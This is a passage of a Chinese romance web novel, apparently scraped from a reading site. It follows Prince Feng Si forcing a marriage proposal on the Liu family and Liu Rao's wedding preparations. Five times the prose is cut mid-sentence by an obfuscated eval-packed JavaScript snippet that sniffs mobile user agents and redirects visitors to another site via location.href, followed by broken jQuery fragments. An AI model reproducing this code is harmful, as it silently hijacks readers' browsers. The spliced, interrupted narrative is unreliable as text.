“生什么气?我外面的事刚忙完,一回来便去宫中复命,出宫后立即就来你家了。” 她看他一眼,小声道:“我娘不让我收你的东西,折成银子还到你府上了。” “我还没回府看过,也是从你口中才知道还有这事,等我回去确认过,便将你娘还来的银子都给你,如何?” “好啊好啊!”她咧开嘴笑。 封肆捏捏她的鼻尖:“想我没?” 她连连点头:“想了想了,我每天都在想你。” 封肆轻笑,正要亲她的脸颊,身后传来低咳声。 柳尚书低咳两声,跪地行礼:“臣拜见殿下。” 封肆直起身,低声道:“我明日再来。” “你这就走啦?”柳娆跳起直立,拉住他的手,仰头看着他,小声道,“我们已经很久没见了。” 他扬了扬唇,附耳悄声道:“我明日来提亲。” 柳娆喜笑颜开:“好!” “走了。”封肆揉揉她的脑袋,瞥地上的柳家人一眼,抬步离去。 柳尚书站起,低声斥责:“你给我回卧房好好反省去,没有我的准许不许踏出房门半步!” 柳娆吓得一抖,瘪着嘴朝卧房的方向跑。 老太太看得心疼,可这回也不能再包庇她,只是重重叹息一声:“还有客人在呢,先去招待客人吧,林家那丫头也受了伤,我们还得赔礼道歉呢。” “祖母,我去看看媚儿。”柳珣小声道。 “去吧,去哄哄她。” 柳珣应下,大步奔跑,直到柳娆卧房前,将人追上:“媚儿!” 柳娆理也不理,一头钻进卧房里。 柳珣跟进门,轻声道:“你别跑了,先让三哥看看你的伤如何。” 柳娆顿了顿,这才缓步停下。 “唉。”柳珣上前,仔细端详一阵,又问,“疼不疼?都要肿成腊肠了。” “疼,好疼。”她立即委屈起来。 “你说你,好好的跟人打什么架?人家是来家里做客的,再怎么样也不能跟人动手啊。”柳珣边骂边拿出药膏要给她涂抹,“来。” 她身子一扭,转头走开:“明明是她先骂我的,你不帮我就算了,还怪我,我不理你了!” “好好,是我的错,我不该凶你,你先将药抹上。你现在不抹药,嘴上的伤好不了,以后可就不漂亮了。” “不用你给我抹,我已经抹药了!” “谁给你抹的?” 她抬起下颌,有点小得意,有点小骄傲:“我夫君。” 柳珣在她脑袋上敲一下:“你们成亲了吗?什么夫君不夫君?你能不能矜持一些。” 她得意洋洋道:“他明天就来提亲。” 柳珣愣了瞬,问:“方才他与你低语是说这个?” “对啊。”柳娆顶着个红肿的唇,高兴地在卧房里转起圈,裙摆如浪花漾开,欢呼雀跃,“他明天就来提亲,明天就来提亲啦。” “什么明天来提亲?”大哥柳琮跨进门。 柳娆瞬间消停,低声道:“大哥,你怎么来了?” “我来看看的伤如何,祖母母亲在外面招待客人,没空闲来看你。”柳琮仔细看过她的伤势,安心落座,“还好,过几天就好了,你方才说的提亲是怎么回事?” “没什么。” 柳琮看去:“你只和三哥亲,不和大哥亲?我方才都听见你和你三哥说了。” “我……”柳娆垂着头坐下,“我说了,你不要骂我,也不可以告诉别人。” “好,我答应你。” “方才封肆来,他和我说,明天要来提亲。” 柳琮微怔,和柳珣对视一眼,起身出门:“三弟,出来,我有话要和你说。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065576|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳娆着急站起。 “放心。”柳珣拍拍她的肩,跟着柳琮出门,“大哥是有什么事要问我吗?” “你平日里和媚儿最亲近,你跟我说实话,说说媚儿和宁王到底是怎么回事。” 柳珣低垂着眼,低声开口:“宁王对媚儿挺上心的,媚儿也很喜欢宁王,明日宁王大概真的会来提亲,大哥还是与父亲商量商量以做应对。” “他们到哪一步了?” “大哥放心,还没到最后一步。” 柳琮微微颔首:“我会去与父亲商量,你看好媚儿,让她安安静静待在房中,不要再闯祸,再惹出什么事来,父亲生气,真要罚她了。” “好。”柳珣轻声回到卧房。 柳娆立即朝他看来。 他笑了笑:“怕什么?大哥的脾气一向是最好的,安心休息吧。” 柳娆松了口气,往床上重重一倒,想着想着,忽然又笑起来,蒙在被子里嘿嘿一阵笑。 柳珣无奈笑笑,在一旁坐下,寸步不离地守着,直至天黑才离开。 柳娆惦念着提亲的事,翌日一早便醒来,探头探脑往外看,却被几个侍女堵在卧房里。 “四小姐,老爷有令,不许您出门的。” “谁说我要出门了?我就是出来透透气,哼!”她骂骂咧咧退回房中,重重关上房门,焦急地在房中走来走去。 正堂中,柳家其余人也同样焦急。 昨日柳琮将事情告诉了几位长辈,众人商量半宿,还是没想到应对的办法,谁都不知道宁王今日到底会不会来,来了后又会有如何说法。 众人正在焦急之时,柳瑜突然开口:“我看要不应了他算了,咱们家这个小祖宗也不是好对付的,未必会吃亏。” 老太太气道:“你这说的是什么混账话?这可是你的亲妹妹,你就这样忍心将她推入火坑?” “怎么会是火坑呢?宁王与圣上那样亲厚,往后荣华富贵平步青云不在话下,小妹跟了他,往后只有享福,否则我怎么能愿意小妹嫁过去呢?” “你是为了你妹妹好,还是为了你自己好,你心里清楚!” “祖母说这话可是伤我心了……” 两人正要辩驳,侍女匆匆来报:“老太太,老爷夫人,宁王到了。” 20. 第 20 章 众人一怔,起身站立,往外迎去,齐齐跪地行礼,老太太开口:“宁王殿下大驾光临,不知所为何事?” “进屋说。”封肆越过众人,大步跨进正堂,跟随他来的侍卫将一个个箱子抬进。 老太太咽了口唾液,缓步跟进,努力挂着笑,问:“这是……” 封肆往椅上一坐,戴着白玉扳指的手随意搭放在扶手上,不紧不慢道:“我来求娶府上四小姐。” 柳尚书干笑两声:“王爷说笑了,小女已有婚约,何况资质粗鄙,怎能配得上王爷?” “不用跟我装傻,陛下召你觐见时,我就在偏殿。”封肆从容道,“前些日子你们去了雍城,我也去了雍城,只不过你们是去探亲,我是去处理公务。废太子一党卷土重来意图谋反,如今已被拿下,朝廷不日便会公告。” 柳家众人皆是瞳孔一缩,谁不知道林御史曾是废太子党的一员?封肆这话是明晃晃地在警告他们,林家说不定会被牵进这桩谋反案中。 封肆又开口:“怎么?我话说的这么清楚了,你们还没有反应吗?还需要我说得更清楚一些吗?” 柳尚书咽了口唾液,跪地道:“就算是没有这桩婚约,依照小女的资质,也是断断配不上王爷的,请王爷收回成命。” “少跟我来这一套。”封肆站起,“你无非是觉得我做事狠绝,不愿和我有牵连,可我明白告诉你,我要定她了。你现在将她嫁给我,以你们柳家现在的门第,她还能做我的正妃,若是不从,将来她就只能做一个侍妾。” 柳尚书不停吞咽着唾液,不知如何应对。 封肆上前几步,停在他跟前,倒出袖中的圣旨,居高临下,用圣旨敲敲他的头:“接旨吧。” 柳尚书闭了闭眼,双手接下:“臣,谢主隆恩。” 封肆冷哼一声,双手稍正衣领,抬步往外,随口朝侍女问:“媚儿的卧房在何处?” 侍女偷偷看一眼堂中的主人,没得到任何回应,又不敢违背,只能弓着身在前引路:“王爷请。” 封肆大步朝前,径直抵达卧房门口,两眼斜去,驱散门口守着的侍女,推门直入。 “谁?”柳娆平卧在床上,仰头去看,随即惊喜起身,勾上鞋子高兴迎去,“你来了!” 封肆迎上两步,扣住她的腰,低头含住她的唇。 香甜的气息将他包围,他依依不舍松开,捧着她的脸低声问:“吃什么了?这么甜。” 柳娆捧起双手,吐一口气,闻闻,疑惑道:“没吃什么呀?” 封肆笑而不语,又看向她的唇:“嘴上的伤好得差不多了,看着没昨天那么严重了。” “早上起来就消肿了,也不疼了,我可以亲你了。”她捉住他的脸,笑眯眯在他嘴上亲一口,“你是不是来提亲的?” “一早就来了,都跟你家里人谈好了。” “他们答应了?” 封肆刮一下她的鼻尖:“当然。” 她眉开眼笑:“太好啦!” 封肆看着她脸上的笑,心头忍不住也欢欣,开怀道:“怪不得皇兄总催我成亲,原来成亲的感觉这么好。” “那肯定啦。”她用鼻尖顶顶他的鼻尖,“那我们什么时候成亲?” “要看黄历,还得跟你家里人商量,你想什么时候成亲?我稍后看看有没有合适的日子。” “那就快点吧,赶在夏天之前,要不然天热了,穿华丽的婚服肯定会很热的。” 封肆忍不住低笑:“你想要多华丽?” 她眼眸转动一圈,望着房梁:“当然是越华丽越好啦,我要漂亮的绣花,漂亮的丝线,还有漂亮的珠子。” “好,你写下来,我回头差人去办。我昨日回去过一趟,秋千和花房也都弄好了,你看看还想要什么,也一并记下来,我现在得和你家里人去商量成亲的日子。” “那我跟你一起去!” “商量成亲的事,新人是不能参与的,你就在卧房休息吧,我们商量好了会告诉你的,肯定按照你的要求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069358|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在盛夏之前。” “可是你也参与了呀。” “那是因为没长辈来帮我商议,我只能自己出面。” 柳娆狐疑看他两眼,还是点了头:“好吧,那你去吧。” 他笑着摸摸她的头,转身出门。他当然知道自己对柳家人不算客气,但他不能让媚儿看见,会吓坏这个小姑娘的。 正堂中,氛围低沉,老太太瞅一眼柳珣:“都是你,若不是,宁王不会遇上媚儿,也不会有今天的事!” 柳瑜手往柳珣肩上一搭:“祖母也莫要怪罪三弟,听宁王那意思,林家如今是前途未卜了,若是没有宁王,小妹嫁去林家也未必是好事。” “再坏能坏过宁王?你看看那副轻佻的模样,完全未将我们放在眼里,直奔媚儿卧房去了,这能是什么好人?”老太太气得拐杖连连杵地。 “小妹她机灵着呢,未必拿不住宁王……” “她用什么拿?她就是个什么都不懂的小姑娘,现在看着是还不错,往后要在王府受了委屈怎么办?你们兄弟几个,哪个有能耐能将她从王府接回来?” 柳琮低声劝和:“圣旨都下了,此刻再吵也是无用,往后我们都要在朝堂上多加勤勉,才能叫宁王有所顾忌。” 柳瑜看一眼祖母和母亲的神色,没再辩驳,拉着柳珣悄声道:“我看他们都是想多了,搞得这么紧张兮兮的,那宁王显然就是被小妹迷住了。” 柳珣弄不清楚,他自己都还没成亲呢,不过看媚儿和宁王的模样,好像真不是假的。他好奇问:“二哥何以此言?” “我问你,一个男人若是只想和一个女人玩玩,会这么费尽心思求娶她做正妻吗?会有这么多机会却迟迟不碰她吗?” “应该……不会吧?” “什么应该?是肯定不会!”柳瑜敲他一下,“宁王可是陛下夺嫡成功的第一功臣,这样的人,他如今隆重娶妻,你觉得他会只是一时兴起?他未必是全为小妹,但对小妹绝不是假的,你就等着瞧吧。” 21. 第 21 章 柳珣正要绞尽脑汁说几句,抬眸一瞬,瞧见封肆朝他们来。他立即站正,朝人行礼:“拜见宁王殿下。” 封肆摆摆手,越过他们,大步跨进堂中:“来商量婚期,媚儿说要在盛夏前办婚宴。” 柳家众人不敢违背,都低着眼悄声坐好,柳尚书叫了会看黄历的人来,堂中却一点热闹不起来,每个人都是低沉着声音,最后是由封肆拍板,决定了成婚的日期。 刚定下,突然有侍卫低声与封肆禀告了什么,封肆起身道:“我还有事,先走了,你……你是媚儿的三哥吧?” “啊,是。”柳珣茫然抬眸。 “你跟媚儿说一声,我有事要忙,过几日再来看她,让她将婚服的要求写下来,交给我府上的管事便好。” 柳珣垂眸:“是。” 封肆微微颔首,大步离去。 柳家人皆是松了口气,柳瑜看着人离去的背影,哼笑一声:“他果然很在意小妹。” 老太太气道:“别在那里嬉皮笑脸了,赶紧想想如何去跟林家交代吧!” 柳瑜毫不在意:“圣旨难违,有何可难交代的?祖母若是觉得难以面对,我去与他们说便是。” “你瞧瞧你这副小人得志的模样,还你去说,你去说,林家只会更加记恨我们。”老太太用拐杖敲敲他,没好气道,“还是我和你们母亲亲自走一趟,将事情说清楚。” “我与母亲夫人一同去吧,林御史毕竟是我多年的好友,还是我该亲自与人解释。”柳尚书起身,跟在母亲身后。 三人刚离开,柳娆的脑袋立即从门后探出来,欢快跑进堂中:“让我看看我的聘礼!” 柳珣被她吓得一抖:“媚儿,你什么时候来的?也不出声。” “爹不许我踏出房门,我当然不能出声了,让我看看这里面都装了些什么。”她迫不及待打开箱子,瞧着满箱的珠宝首饰,双眼放光,“天呐,这么多首饰!” 三个兄长也忍不住过来瞧一眼,柳瑜啧啧称奇:“不愧是王爷,出手就是阔绰,想当初我和大哥成亲的时候,下的聘礼算是不少的了,也没有这么丰厚,这光珠宝首饰都快占了半个箱子了,还是没有礼盒包装的。” 柳娆跪坐在箱子,张开双臂,将箱子里的珠宝首饰圈住,仰着头看几个兄长,激动道:“这些都是我的,对不对?” 柳琮轻笑:“自然是你的,我们不会霸占。” 柳瑜比她还好奇:“看看那个箱子里装的是什么?” 她点点头,将怀里的箱子严严实实盖上,才去开另一个大木箱。 柳瑜好笑道:“怎么?我们还能偷你的东西不成?” 她压住翘起的嘴角,扭扭捏捏将另一个箱子打开。 “嚯,宁王殿下也喜欢这么娇嫩的颜色啊?” “娇嫩怎么啦?我就喜欢粉色!”她瞪柳瑜一眼,乐呵呵抱住满箱的布匹,“这也都是我的。” “是你的,都是你的,依照宁王的恩宠,将来这半个京城都得是你的,我们几个哥哥见了你都得给你行礼呢。”柳瑜笑着落座。 柳娆将箱子盖好,轻哼一声:“以后大哥三哥不用行礼,你得行礼,谁叫你总是欺负我!” “这还没嫁过去,就开始欺负你二哥了,等你正式做了王妃,不得把你二哥的皮都扒了啊?” 柳娆冲过去,掐着他的脖子乱搡:“就扒就扒,谁叫你总是欺负我!” 柳瑜笑着道:“好了好了,再晃就要将早饭晃出来了。真是女大不中留,祖母和母亲还担心你嫁过去过得不好,你倒好,恨不得明天就嫁进王府。” 柳娆斜倚在兄长肩上:“为什么会过得不好?他家里有大房子、大马车,吃不完的山珍海味,戴不完的首饰华服, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074447|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么会过得不好呢?” “这就对咯。”柳瑜笑着捏捏她的脸,“你只要能永远这样想,就能过一辈子的好日子。” “二哥!”柳珣低呵一声,将小妹往跟前拉来一些,“不要听二哥瞎说,世上许多事不是用金钱能衡量的。” 她眼眸茫然眨眨,小声道:“我可以把这些东西搬回我的卧房了吗?” 三个兄长都忍不住笑。 柳琮道:“让小厮来搬吧,你哪里搬得动?放心吧,哥哥们帮你盯着,不会让他们偷你的东西。” 她不好意思笑笑:“我说的就是让小厮来搬。” 两大箱子东西,满满当当,她可搬不动,尤其是那一箱珠宝首饰,几乎塞满,没有一点空隙,箱子一落地,她立即忍不住将首饰都拿出来,对着铜镜比划。 “纤云,这个好看吗?” “好看的,小姐戴什么都好看。” “这个料子好看吗?我拿它做件夏衣如何?” “料子也好看,粉粉嫩嫩的,正适合小姐。” 她高兴地抱着布匹戴着首饰在原地转圈:“原来成亲是这么好的事啊,真想明天就成亲。” “知道你想成亲了。”柳珣跟进门,“忘了跟你说,你夫君让你想好想要什么样的婚服,写下来交给他府上的管事,他好让人去办,你不要忘了。” 柳娆用粉嫩的布匹捂着脸,害羞地嘿嘿笑:“我夫君,我夫君。” 嘿嘿笑一会儿,她将首饰布匹都放下,哼着小曲儿蹦蹦跳跳到书桌旁,欻欻画下一张繁杂凌乱的图,高高兴兴交给柳珣:“就按这个来。” 柳珣看一眼,皱着眉头道:“你确定要在成亲那天将自己穿得跟个多宝格似的?” “什么多宝格?这是华丽。”她抬着下颌,一脸骄傲,“你不用管了,交给我夫君就行,他会明白的。” 22. 第 22 章 “你呀,真是不害臊。”柳珣笑着将纸张收下,“好了,我待会儿就叫人送去宁王府,他还说了,有事要忙,过两日再来看你。” “唔,好吧。”柳娆还有一大堆首饰没有试,随意应付几句,又对着铜镜继续比划,闹着纤云夸她漂亮。 婚事定下来,她便放心了,也不忧心要人去宁王府传话,将那一箱子的布匹全折腾了,做成各式各样的新衣裳,这段时日她身上的衣裳简直没有过重复的,柜子里还有一堆没穿过的。 临近婚期,封肆没能如约来看她,倒是让人将婚服送来了,和她图片上画的大差不差,繁琐的珠子垂挂着,她反正是觉得美极了,正对着镜子臭美。 “嚯,你这一身穿出去,能让京城里的人讨论个三五年。”柳瑜斜倚在一旁打趣。 房中的人都笑,只有她得意极了:“那才好呢,那样我就出名啦。” 这样欢乐的氛围,连陈夫人都忧虑不起来,笑着上前给她整理裙摆:“合不合身?手臂抬着费不费劲?距离成亲的日子就没有几日了,若是哪里不合适,得快些让人去改。” 她抬抬手臂扭扭腰:“不费劲不费劲,还挺合身的呢,不用再改了。” 老太太也笑眯眯看着她:“合身就好,再转两圈,让祖母看看。” 她乐呵呵原地转圈,笑着问:“好看吗?我现在是不是很像仙女?” 祖母拉着她的手,慈祥笑着:“哪里是像?我们媚儿简直就是仙女下凡。” 柳瑜也笑:“这还不得将宁王迷晕过去?” 老太太瞅他一眼:“嘴上没有忌讳,迟早要出事。” “对呀。”柳娆突然出声,“小四呢?我好久没见到他了,他不是说要来的吗?” “你还记得这事啊?我还以为你只顾着那些聘礼,早就将人家给忘了呢。”柳珣打趣几句,道,“他不在京中,不知道何时才能回来。” “又不在京中?那他能回来成亲吗?” “成亲应该是没问题,他不是将婚服都送来了?” 柳瑜眼眸转动一圈:“诶,你要是想他,不如给他写信?他应该会收的。” “瞧你二哥又在打什么坏主意。”老太太瞅他一眼。 “我怎么又是打坏主意了?我现在在祖母眼里就是个坏人了。”柳瑜往老太太身旁一坐,低声道,“外面最近风声鹤唳的,听说好多人都被下了诏狱,林家也……若是能知道宁王动向,我们也能有所准备。” “如你所愿,你小妹嫁给宁王,家里应该不会有事,你也别刻意提起,否则才是要让人误会。” “什么什么?”柳娆凑过来,“封肆他去做什么了?我好久没见他了。” 老太太轻瞅她一眼:“大人的事小孩子不要过问,以后也不许问宁王朝政上的事,知道了吗?” 她抿抿唇:“那我想他了怎么办嘛。” “你知道他在哪里吗?如何写信?过两天就要成亲了,到时他是会回来的。头冠还没试呢,来,祖母亲自给你戴上。” 她看着那金灿灿的头冠,高兴地嘴都合不拢,什么小三小四小五,统统抛去脑后,掀起流苏面帘又臭美起来:“好看吗?” 两个哥哥见状赶紧撤退,方才换嫁衣时他们已经受过一遭了,现在是搜肠刮肚也找不出更多的词了。 柳娆小脸一板:“站住,你们还没夸我呢。” 两兄弟面面相觑一番,柳瑜小声嘀咕:“赶紧嫁过去吧,说不好是谁折磨谁呢。” 婚宴前夕封肆才从外地赶回来,抵达柳府探望时,柳娆早已酣睡。 她也想晚些睡的,在三个哥哥的一致要求下,只能早早入眠,他们说她做事磨蹭,一定要提前一个时辰起才行,否则肯定是要耽搁吉时的。 天还黑着,房中的灯一盏盏亮起,侍女挂起帐子,轻声呼唤:“四小姐,该起床梳妆了。” 她揉揉眼,迷迷糊糊睁开。 纤云笑着将她扶起:“小姐,王爷昨晚来了,给您带了点心,叫您早上吃一些,别饿肚子,到拜堂成亲还早着呢。” 她立即睁大眼:“他来过了?什么时候?我怎么不知道?” “昨晚来的,王爷看天色已晚,没有进府门,又听说您已经歇下,将点心放下便走了。” “噢,这样啊,我看看他给我带的什么点心?”她迫不及待打开点心盒子,深深闻一口,“好香啊,是牛乳的气味。” “小姐是要先洗漱,还是要先用点心。” 她依依不舍放下:“洗漱,先洗漱,我今天就要让他们几个看看,我是不会耽搁时辰的。” 半盏茶后,她坐在浴桶里,抱着点心盒子,高高兴兴往嘴里塞。 陈夫人往里看一眼,笑着道:“我以为你还没起呢,今日怎么这么听话?说几时起就几时起,成亲这么开心?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080146|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为我在吃点心啊,娘,你要不要吃?”她笑着伸出一块点心,“封肆他拿了好多来,我都吃不完。” “娘早上吃过了,你也少吃些,一会用些早膳。”陈夫人禀退侍女,拿着长巾毛毯将她包裹住,“起来吧,再洗水要冷了。” 她笑着放下点心,扑进母亲怀里:“娘,我还得抹花油呢。” 陈夫人含笑看她:“回床上抹。” 她裹着毯子,赤着脚哒哒哒跑去柜子旁,将里面的几罐花油全拿出来摆在床上,一脸得意道:“这都是封肆给我买的。” “知道了,是他给你买的。坐到娘身旁来,娘有事要和你说。”陈夫人搂着她,从袖中摸出一个小册,递给她,“看看。” 她对着母亲的目光眨眨眼,茫然翻开一页,两只耳朵咻一下粉红。 陈夫人笑着拢拢她的发丝:“好了,收起来,晚上慢慢看,先去洗漱更衣吧,不要耽搁了时辰。” 她连连点头,快速将册子塞去枕头下,也不抹油了,噌地蹦出去,老老实实在梳妆台前坐好,让人梳理头发。 陈夫人知晓她害羞,看她一会,又叮嘱她几句,叫不要磨蹭,便去外面操持事宜。府上是第一回嫁女,又是头一回和皇族结亲,许多事都需要她亲自盯着。 柳娆也知道母亲一时半会不会回来,往门口张望一眼,又跑回床上坐着,拿着花油招呼侍女来:“还早还早,我们先抹花油再说,沐浴完不抹,肌肤会变得粗糙的。” 纤云和巧月一起围来,抹开花油一起往她洁白如雪的腿上抹,她自己也抹,只是眼一直朝房梁的方向,有些心不在焉。 突然,她开口:“纤云,你成亲了吗?” 不待纤云回答,她又自答:“对对对,你还没成亲来着,这回你还得跟我一起去王府呢。” 纤云笑着问:“小姐是有何事要吩咐吗?” “我是想问你一些成亲后的事,不过既然你不知道,那就算了吧。” “小姐先说说看,说不定奴婢知道呢?” “我娘方才给了我一个小册子……” 纤云脸颊微红:“奴婢虽然没有成过亲,但还是知道一些的,小姐想问什么?” 柳娆看她脸颊泛红,确认她没有骗人,立即兴奋起来:“其实吧,也不是我想知道,我是想,封肆他昨天回来晚了,没能进宫,他娘肯定来不及跟他说这些,你们教会我了,我再教教他。” 23. 第 23 章 “啊?不会吧?王爷应该懂这些的,说不定王府还有教导那什么的侍女呢?” “什么?还有人专门教他?那怎么没人来教我?” “不是不是,奴婢是胡说的,您别往心里去,可能王爷他真不知道吧,您有什么要问的直问便是。” “噢噢。”她抓抓脑袋,“我也不知道要从哪里问起,你就跟我说说你知道的吧。” 纤云羞涩垂眼,小声道:“奴婢知道的也不多,听闻初夜会很疼,要轻一些,以免受伤。然后,头一回大概紧张,最好放松一些,越紧张越疼。可以先说说话,熟悉熟悉,不要太过急色。” 柳娆点点头,惊讶道:“原来还有这么多讲究呢?” 纤云见她不害羞,脸上的红晕也慢慢消散:“奴婢听人家说,若是想要孩子可以将枕头垫在腰下,小姐若是有打算,可以试试。” “行,我记下了,赶紧抹吧,天好像要亮了。”她迅速将两条手臂抹好,穿上正红的新寝衣,继续梳妆。 天刚明,外面热闹起来,她的头发刚盘好,待一切都收拾妥当,已快午时,卧房里围了不少人,都是从前见过的亲戚,旁人问什么她答什么,滔滔不绝,聊到口干舌燥,鼓乐声响。 “接亲的来了,小姐快别闲话了,将却扇举好。” 面帘垂下,在日光下闪闪发光,耀眼极了,就是有一点点挡视线,她眯着眼睛看了半天的路,最终还是选择紧紧扶着侍女,小心翼翼往前迈步。 头冠也好重,压得她几乎没法抬头,她重重叹息一声,低声问:“纤云,我今天好看吗?” 纤云早就习惯她突然的发问,连连点头:“好看好看,奴婢还没有看过像小姐这样好看的新娘子呢。” 她欣慰点头,好吧,只要好看就好,好看那她就再忍忍。 她深吸一口气,又抬抬脖子,昂首挺胸往前走,什么说笑声鼓乐声庆贺声,她全听不见,只盼着早些结束,可以将头上这顶重重的冠给卸下来。 “在想什么呢?”大哥柳琮笑着看她。 她恍然回神,想摇摇头,没能摇动,连声道:“没什么,没什么。” 柳琮弯身:“大哥送你第一程。” 她被侍女搀扶着,小心翼翼爬上大哥宽厚的背,被大哥稳稳当当背起。 “成家了,以后就是大人了,不能再那么任性了。但也不必担心,哥哥们都在朝为官,遇到什么麻烦和委屈,尽管与我们说,我们不会不管你。” “嗯。”她轻轻点头。 大哥柳琮本就内敛,心中有再多的话,此时也不知如何开口,最后只道:“扶好。” 二哥柳瑜正在前方摩拳擦掌:“这一身看着就重,大哥还是嘴硬,能一声不吭。” 柳娆瞪他一眼:“叫你平时不锻炼,一会要是将我摔了,你就等着祖母和娘骂你吧!” 他笑着将她接下,佯装要往前摔,吓得她一抖。 “二哥!”柳娆气得在他肩头捶两下,“你讨厌!” 他忍不住朗笑:“真是想不到顽皮淘气的小妹也要成亲了,这么难伺候的小姑娘,嫁了人,以后可没人惯着她咯。” “才不会呢,封肆他可喜欢我了,你应该伤心,往后就没有这么可爱善良美丽的妹妹陪着你了。” 柳瑜仰头大笑。 柳娆气得呸他一口:“你笑什么?我难道不可爱不善良不美丽吗?” “好好好,你最美丽最可爱。”柳瑜将她交给柳珣,笑着捏捏她的脸,“真希望我们媚儿一直这样无忧无虑,简简单单。” 她撅嘴:“你不是又在阴阳怪气我吧?” 柳瑜笑而不语:“走吧,别耽搁了吉时。” 柳珣缓步朝前去:“媚儿,我方才见你一直垂着头,是发冠太重了吗?” “没有,才不重呢。”柳娆嘴硬一顺,又道,“好吧,确实是有点重,但是很漂亮啊。” 柳珣轻笑:“上车后在车厢里靠靠吧,拜完堂回到房中就好了。” “我也想去吃席。” “让你的好夫君给你送一桌到房中。” 柳娆嘿嘿笑:“也是。” 柳珣笑道:“以后过上好日子了,可不要忘了三哥。” “三哥最好了,我肯定不会忘了三哥的,三哥反正在家没事,以后可以天天来玩,王府可大可好玩了,有个好大的花园,比我们家的大多了。” “也就只有你不怕宁王。”柳珣大步上前,将她交给新郎。 封肆垂眸,笑看她一眼:“走了。” 她高兴抱住他的脖颈,将他压得往下一弯。 封肆稍稍直立:“你适合入伍。” “啊?为什么?” “你这套装备堪比铠甲。” 柳娆眼眸转了转:“你在骂我?” 封肆笑:“没有,去车上坐着。” 她一上车就将脑袋靠过去,理直气壮道:“你帮我撑着。” 封肆抬手,单臂将她的脑袋撑住。 “终于舒服了。”她脑袋几乎搁在他手上,懒洋洋道,“我也想吃席,你让我给我送一桌到卧房里吧。” “好。”封肆突然蹦一句,“幸好我练过。” “嗯?”柳娆看去。 封肆抬手,将她脸前的面帘挂起,露出她上了妆的脸,浓厚的眼妆挡不住她清澈明亮的眼眸。 他忍不住在她鼻尖上亲了亲:“乖媚儿,想我没有?” 柳娆眼眸转动,认真思索:“嗯……应该想了吧。” “什么叫应该想了吧?我们现在是夫妻了,我是你丈夫,你是我妻子,思念丈夫是做妻子的义务和本分。” “那你呢?” “我一回来便去了你家,只是天色已晚,你早已歇息,我便未进门去看你。” “那好吧,那我原谅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082896|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你了。” “什么原谅我了?” 柳娆双手搭在他肩上:“就是原谅你没有回来陪我呀,你今晚是不是得喝酒喝到很晚?我哥哥他们成亲的时候就是这样。” 他笑着看她:“你想让我早些回去陪你吗?” “对呀,我们晚上还得洞房呢,你不早点回来我们怎么洞?” 封肆肉眼可见地愣了下:“什么?” 柳娆疑惑:“洞房啊,成亲当晚不是要洞房的吗?你连这个都不知道啊?我就说嘛,你昨晚那么晚才回来,肯定没时间进宫,你娘肯定都没跟你说,纤云还说什么你知道。” 封肆来不及思索她说的都是什么和什么,低咳几声:“晚上说,现在不是说这个的时候。” “你害羞啊?纤云说了,不能……”她说到一半又闭嘴,“行,那我晚上再跟你说,你早点回来啊,别在外面玩太久。” “什么玩太久?那是在招待客人。” “好嘛,不管什么,你晚上得早点回来。” “好。”封肆郑重应下,“亲我一下?你今天见到我还没有亲过我呢。” 她连连摇头:“不行不行,我嘴巴上涂了口脂,亲你的话,会弄掉的,就不好看了。” 封肆忍不住扬唇,悄声在她耳旁道:“那我们晚上再亲。” 她痒得轻笑,挂起的流苏又垂落,叮叮当当轻响。 